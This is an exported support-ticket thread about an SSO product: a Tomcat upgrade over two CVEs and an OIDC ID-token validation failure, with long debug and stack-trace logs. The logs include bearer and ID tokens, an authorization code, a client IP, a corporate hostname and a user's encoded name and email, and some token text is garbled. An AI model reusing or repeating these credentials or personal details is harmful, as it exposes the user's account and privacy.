Hi Nara Alwar, Kindly send us the screen shot of the error message and the latest eik-error & eik-debug logs. Also please send us a meeting invite as requested for tomorrow 7 am (central time). Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1199> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Kindly verify the redirect URI configured in Azure IDP for your production environment. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1199> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Network team made F5 change and it works.

TICKET DISPLAY ID : 1200

SUBJECT : Tomcat vulnerability CVE-2024-50379,CVE-2024-54677

PROBLEM DESCRIPTION : Security scanned Tomcat vulnerability for current Server version: Apache Tomcat/9.0.91 in use. CVE-2024-50379,CVE-2024-54677 Can you check if Authenion supports version 9.0.98 or later? we need to Upgrade to Apache Tomcat version 9.0.98 or later.  
Thanks Nara

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, We will get back to you on the Tomcat v9.0.98 upgrade for Authenion-EIK. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1200> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, We will try our best to get back to you ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1200> Regards, EIK Support Team &lt-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

```
Getting this error OIDC-LM-3234 024-12-20T13:50:25.746-0600 DEBUG Response from OIDC
provider: {"token_type":"Bearer","scope":"email openid profile
User.Read","expires_in":5122,"ext_expires_in":5122,"access_token":"eyJ0eXAiOiJKV1QiLCJub25jZ
SI6IIZ6MTIZNFFZMDM1TGg3ZDFWTFIhQ0Q2Y05DSF9OVXVrUE1ENEIwcDRXaXMiLCJhbGciOiJ
SUzI1NiIsIng1dCI6InoxcnNZSEhKOS04bWdndDRlc1p1OEJLa0JQdyIsImtpZCI6InoxcnNZSEhKOS
04bWdndDRlc1p1OEJLa0JQdyJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTAwMDAtYzAwMC0w
MDAwMDAwMDAwMDAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9mMzZmOGI2My1
mNWViLTQyODUtYWw5MS05MTkzN2I1NjM2NzZmVliwiaWF0IjoxNzY0M0ZlOTI1LCJyYmYiOiE3Mz
```

[illegible]

QiOiJiZjFkYTRkOS05OThmLTRjMmQtOTFjZC0zNzRkNGVjZmZjNDEiLCJpc3MiOiJodHRwczovL2x  
vZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vZjM2ZjhiNjMtZjVIYi00Mjg1LWFjOTEtOTE5MzdiNTYzNjcz  
L3YyLjAiLCJpYXQiOjE3MzQ3MjM5MjUsIm5iZil6MTczNDcyMzkyNSwiZXhwLjoxNzM0NzI3ODI1LCJ  
lbWFpbCI6ImFfbmFyYUBob3RtYWIsLmNvbSIsImdpdmVuX25hbWUiOiJOYXJhliwiaWRwLjoiaHR0c  
HM6Ly9zdHMud2luZG93cy5uZXQvOTE4ODA0MGQtNmM2Ny00YzViLWlxMTItMzZhMzA0YjY2ZG  
FkLyIsIm5hbWUiOiJOYXJhIEFsd2FyIiwibm9uY2UiOiJoZ3IibHR3Mkt0WF9oSF9nZ3NMXzRjTXZab  
W1UeVZDbWh6ZG1CZnVBNmpJliwib2IkljoiOTk0NWZjNWQtNzY0NC00MjlkLTk1MTEtYWMwMGE  
wMzUzNzc5IiwicHJlZmVycmVkX3VzZXJuYW1lIjoYV9uYXJhQGhvdG1haWwuY29tliwicmgiOilxLkF  
SZ0FZNHR2OC12MWhVS3NrWkdUZTFZMmM5bWtIYi1QbVMxTWtjMDNUVTdQX0VGcUFjVVBIBQ  
S4iLCJzdWliOiJfTmISSkRFbmt3cFM0c0hSTmhqRzIRt1ByTm43R1V5NIQxbkxhRUIZMVIrIiwidGklj  
oiZjM2ZjhiNjMtZjVIYi00Mjg1LWFjOTEtOTE5MzdiNTYzNjczIiwidXRpljoiNmJXOXI4OUxnVXlxZVFVc  
1gwSnZBQSIsInZlcil6IjluMCJ9.QtBB18ZpfmAvupno3rMD5Q38TNbn34zJt5ypY9kh2Kzt8P3swXFfbt  
0iSxjmGnnzqr-zk6bxQdihvKAFGIM5cl7Lcz0JLUbTYq02ASubzXRa8ILDp7hIM8FqiincngXt1AzQqU  
AUKv2mVPk\_-ctcqOv8q9ZUBpxcDCT\_9CxICS41scFaVdw7Q\_8\_423URckvho82wX78hPdB-CSWu  
6aSWIAaP33wwe4yj6-Qzy2X6F70u22ALwIQnZXGY\_SCeqegaDdyQiwMWUV07eDvIPKEx2IXhApr  
Q0HrU-KkWelf1GogohXnDOg1T8q9rtN\_1igku5xm355Vw\_zAmJ1rIB8Bhg"}

2024-12-20T13:50:25.747-0600      DEBUG      Status      Code      from      OIDC      provider:      200

2024-12-20T13:50:25.747-0600      DEBUG      Status      Message      from      OIDC      provider:      OK

2024-12-20T13:50:26.249-0600      ERROR      Unable      to      process      the      id      token

com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: Connect timed out at  
com.nimbusds.jose.jwk.source.RemoteJWKSet.updateJWKSetFromURL(RemoteJWKSet.java:307)

~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jose.jwk.source.RemoteJWKSet.get(RemoteJWKSet.java:437)

~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jose.proc.JWSVerificationKeySelector.selectJWSKeys(JWSVerificationKeySelector.j

ava:157) ~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jwt.proc.DefaultJWTProcessor.selectKeys(DefaultJWTProcessor.java:283)  
~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jwt.proc.DefaultJWTProcessor.process(DefaultJWTProcessor.java:354)  
~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.openid.connect.sdk.validators.IDTokenValidator.validate(IDTokenValidator.java:321)  
~[oauth2-oidc-sdk-9.35.jar:9.35] at  
com.nimbusds.openid.connect.sdk.validators.IDTokenValidator.validate(IDTokenValidator.java:254)  
~[oauth2-oidc-sdk-9.35.jar:9.35] at  
com.likeminds.ebsauth.service.AuthService.getOidcUsername(AuthService.java:692)  
~[classes/:2.3.0.4-SNAPSHOT] at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:130)  
~[classes/:2.3.0.4-SNAPSHOT] at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native  
Method) ~[?:?] at  
jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[?:?] at  
jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)  
~[?:?] at java.lang.reflect.Method.invoke(Method.java:569) ~[?:?] at  
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet  
hod.java:205) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa  
ndlerMethod.java:150) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn  
dHandle(ServletInvocableHandlerMethod.java:117) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa  
ndlerMethod(RequestMappingHandlerAdapter.java:895) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt

ernal(RequestMappingHandlerAdapter.java:808) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl  
erMethodAdapter.java:87) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:529)  
~[servlet-api.jar:4.0.FR] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:623)  
~[servlet-api.jar:4.0.FR] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-websocket.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
com.likeminds.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:68)  
~[classes/:2.3.0.4-SNAPSHOT] at

org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354  
) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) ~[catalina.jar:9.0.98]  
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:660)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)  
~[catalina.jar:9.0.98] at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396)



~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:937)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1791)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190)  
~[tomcat-util.jar:9.0.98] at  
org.apache.tomcat.util.threads.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:659)  
~[tomcat-util.jar:9.0.98] at  
org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:63)  
~[tomcat-util.jar:9.0.98] at java.lang.Thread.run(Thread.java:840) ~[?:?] Caused by:  
java.net.SocketTimeoutException: Connect timed out at  
sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:551) ~[?:?] at  
sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:602) ~[?:?] at  
java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327) ~[?:?] at  
java.net.Socket.connect(Socket.java:633) ~[?:?] at  
sun.security.ssl.SSLSocketImpl.connect(SSLSocketImpl.java:304) ~[?:?] at  
sun.net.NetworkClient.doConnect(NetworkClient.java:178) ~[?:?] at  
sun.net.www.http.HttpClient.openServer(HttpClient.java:533) ~[?:?] at  
sun.net.www.http.HttpClient.openServer(HttpClient.java:638) ~[?:?] at  
sun.net.www.protocol.https.HttpsClient.<init>(HttpsClient.java:266) ~[?:?] at  
sun.net.www.protocol.https.HttpsClient.New(HttpsClient.java:380) ~[?:?] at

sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.getNewHttpClient(AbstractDeleg  
ateHttpsURLConnection.java:193) ~[?:?] at  
sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1256) ~[?:?]  
at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1142)  
~[?:?] at  
sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsU  
RLConnection.java:179) ~[?:?] at  
sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1701)  
~[?:?] at  
sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1625)  
~[?:?] at  
sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java  
:224) ~[?:?] at  
com.nimbusds.jose.util.DefaultResourceRetriever.getInputStream(DefaultResourceRetriever.java:30  
5) ~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jose.util.DefaultResourceRetriever.retrieveResource(DefaultResourceRetriever.java:  
257) ~[nimbus-jose-jwt-9.22.jar:9.22] at  
com.nimbusds.jose.jwk.source.RemoteJWKSet.updateJWKSetFromURL(RemoteJWKSet.java:305)  
~[nimbus-jose-jwt-9.22.jar:9.22] ... 53 more 2024-12-20T13:50:26.251-0600 ERROR  
OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE com.likeminds.ebsauth.exception.AuthException:  
OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE at  
com.likeminds.ebsauth.service.AuthService.getOidcUsername(AuthService.java:700)  
~[classes/:2.3.0.4-SNAPSHOT] at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:130)  
~[classes/:2.3.0.4-SNAPSHOT] at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native  
Method) ~[?:?] at

jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[?:?] at  
jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)  
~[?:?] at java.lang.reflect.Method.invoke(Method.java:569) ~[?:?] at  
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet  
hod.java:205) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa  
ndlerMethod.java:150) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn  
dHandle(ServletInvocableHandlerMethod.java:117) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa  
ndlerMethod(RequestMappingHandlerAdapter.java:895) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt  
ernal(RequestMappingHandlerAdapter.java:808) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl  
erMethodAdapter.java:87) ~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)  
~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:529)  
~[servlet-api.jar:4.0.FR] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:623)

~[servlet-api.jar:4.0.FR] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-websocket.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
com.likeminds.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:68)  
~[classes/:2.3.0.4-SNAPSHOT] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354  
) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[catalina.jar:9.0.98] at

org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) ~[catalina.jar:9.0.98]  
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:660)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)  
~[catalina.jar:9.0.98] at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:937)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1791)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190)  
~[tomcat-util.jar:9.0.98] at  
org.apache.tomcat.util.threads.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:659)  
~[tomcat-util.jar:9.0.98] at  
org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:63)

~[tomcat-util.jar:9.0.98] at java.lang.Thread.run(Thread.java:840) ~[?:?]

2024-12-20T13:50:26.252-0600 ERROR Request Origination 64.125.105.66

2024-12-20T13:50:26.252-0600 DEBUG Resolving to view '/error' based on mapping

[java.lang.Exception] 2024-12-20T13:50:26.252-0600 DEBUG Applying HTTP status 200

2024-12-20T13:50:26.252-0600 ERROR The Signature, issuer or aud is invalid

2024-12-20T13:50:26.252-0600 DEBUG Entering Getting properties

2024-12-20T13:50:26.253-0600 DEBUG Exiting Getting properties 2024-12-20T13:50:26.253-0600

WARN EIK exception: OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE 2024-12-20T13:50:26.255-0600

DEBUG GET

/EBSAuthTST2/handler?code=1.ARgAY4tv8-v1hUKskZGTe1Y2c9mkHb-PmS1Mkc03TU7P\_EFqA  
QAYAA.AgABBAIAAADW6jl31mB3T7ugrWTT8pFeAwDs\_wUA9P8gXg54egnkFyPMd\_GTgVWpq8  
HBXf9I986kQGqpe0MBkWRpzowH5Awb3WCTk4BjQLkHINTo9zHMIMAXjj8Dh7ustn9IQyrzT7moby  
WTTYfg3Y7EjDAX3izfcadKU6coqK4RAIVWNZ6xpUEbxhaKBH3vvaYrA91Ga2J4ZSrfzM-UgBLwDAo  
YO4d3lvOq7j2cvqMvd8ZYjat-zXHslKwrMlpgkUzK1EF9A5NgsddFpBX2DGbRRwrt2ezM-eeJOselw  
wOF0mKMH\_3UrkkJiAF5pbgOK2nFPA\_MkHNFzzM-B7uVUVv9mquSKXd0YoZxOPu8Aj863XnhZ0  
1hWTTtNdo0Hs5v-mf6oQUDrbcZ8R3RSbVhzAly1iEyoenhuCXmxNxxBr09H\_cD9oJGMrscafKiaJ9xf  
g0MIBpJ7kFgyEi6NBvXz6pRJ9pFvP-BlqpRcMEG0B4n10jYN8AVIYQ-VtHHMmPJJxnsbaSc52V52z  
gJwAAByzfsiUJTRYCkC5o\_AllICeTcXqR8j4yDYMvLWfo3AiVAWK3XAhw4bzfappzJUS2fX2HfMKS  
1YVizdVlrZlnQJiPEy4RzxdncZONLbCzjNjdNBcfLkHTAk7AVNbVIB\_VmfTTxTihPFI6xUCR\_hj02ovD  
55cjOaTjs2LMgHe16bmHQBctZQcex1ZPbEto5bZ8fJCmSJV7bM\_7981sN9d8SWUUqbbq8AsocwqX  
9w9GaE9WQNJOHkQPkkYUcPYs2M-Vw9mpsU9sgsnTJoieGXElIQC3-RKZZ74nU9pSLzuqPLJ7rG  
TVdNDOstW4aixtKSTo0qkOWD\_bC8Jpl-KvLxZonlcPkgCwFJMTD2zsrHg4OJRQqybJ58gxJbEvms  
bwml4x3AeFETiQcn6Vje7uCIU88Ja1tUSG4\_gVunvieNanMJyUOJ-0inr3joq7TeaQ8hNRh64bmlwUp  
GOWHOor8T63rxeqUQsvwpk2eogXftVfG-cb9hrcCmSvLe-CFRcnu52ipVfp9jbrl32vLwAi3o-iq6R1rL9  
LteZu-LSxrtJV10vYLLJgTIIesJOZXXQSLxh6csUZxHMe7qjscp5PqRNdSL4Vf3PdKelL8kqHOjxWPJ  
SwOwx\_0OtEDbCKa-r5iCcZBU6oylQz5jlgckdIrklx6pN4BJnKbdUpGgGLyCwAl3\_8-ZIHI5a5r7KvZf\_

Lm1xiS8Il1mqhS5Ut5zNt8-0JxANi0OzhfpUOS6p3EAJdEH7MPQjadRTUdxSzLkzNTrZnuuUHMgx1  
cGjUttDXt\_0Yip1LuA5x18HCjJt28SrZCSYfOUJ2hMMsCDn2P897lww2n\_&state=eyJyZXF1cmxmbG  
FnIjpmYWxzZSwicmVxdWVzdFVybCI6bnVsbCwiY29udGV4dFBhdGgiOiJcL0VCU0F1dGhUU1QyIn  
0%3d&session\_state=f75bf4da-94c5-427c-8f3c-cffbc46bf715, client=64.125.105.66,  
headers=[host:"ssologinx.cheniere.com", connection:"keep-alive", cache-control:"max-age=0",  
upgrade-insecure-requests:"1", user-agent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",  
accept:"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/\*  
;q=0.8,application/signed-exchange;v=b3;q=0.7", sec-fetch-site:"none", sec-fetch-mode:"navigate",  
sec-fetch-user:"?1", sec-fetch-dest:"document", sec-ch-ua:""Google Chrome";v="131",  
"Chromium";v="131", "Not\_A Brand";v="24"", sec-ch-ua-mobile:"?0",  
sec-ch-ua-platform:""Windows"", accept-encoding:"gzip, deflate, br, zstd",  
accept-language:"en-US,en;q=0.9", cookie:"masked", x-forwarded-proto:"https",  
front-end-https:"on"], response time=10 ms

Note we upgraded Java to 17 from 11 and tomcat to 98 from 91. After this we get these EIK error

2024-12-20T13:49:56.033-0600 ERROR Unable to process the id token  
com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: Read timed out  
Caused by: java.net.SocketTimeoutException: Read timed out ... 53 more

2024-12-20T13:49:56.044-0600 ERROR OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE  
com.likeminds.ebsauth.exception.AuthException: OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE

2024-12-20T13:49:56.045-0600 ERROR Request Origination 64.125.105.66

2024-12-20T13:49:56.046-0600 ERROR The Signature, issuer or aud is invalid

2024-12-20T13:50:26.249-0600 ERROR Unable to process the id token  
com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: Connect timed  
out

2024-12-20T13:50:26.251-0600 ERROR OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE

com.likeminds.ebsauth.exception.AuthException:    OIDC\_ID\_TOKEN\_VALIDATION\_FAILURE    at  
com.likeminds.ebsauth.service.AuthService.getOidcUsername(AuthService.java:700)  
~[classes/:2.3.0.4-SNAPSHOT]    at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:130)  
~[classes/:2.3.0.4-SNAPSHOT]    at    jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native  
Method)    ~[?:?]    at  
jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[?:?] at  
jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)  
~[?:?]    at    java.lang.reflect.Method.invoke(Method.java:569)    ~[?:?]    at  
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet  
hod.java:205)    ~[spring-web-5.3.21.jar:5.3.21]    at  
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa  
ndlerMethod.java:150)    ~[spring-web-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn  
dHandle(ServletInvocableHandlerMethod.java:117)    ~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa  
ndlerMethod(RequestMappingHandlerAdapter.java:895)    ~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt  
ernal(RequestMappingHandlerAdapter.java:808)    ~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl  
erMethodAdapter.java:87)    ~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)  
~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)  
~[spring-webmvc-5.3.21.jar:5.3.21]    at  
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)



~[spring-webmvc-5.3.21.jar:5.3.21] at  
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:529)  
~[servlet-api.jar:4.0.FR] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:623)  
~[servlet-api.jar:4.0.FR] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
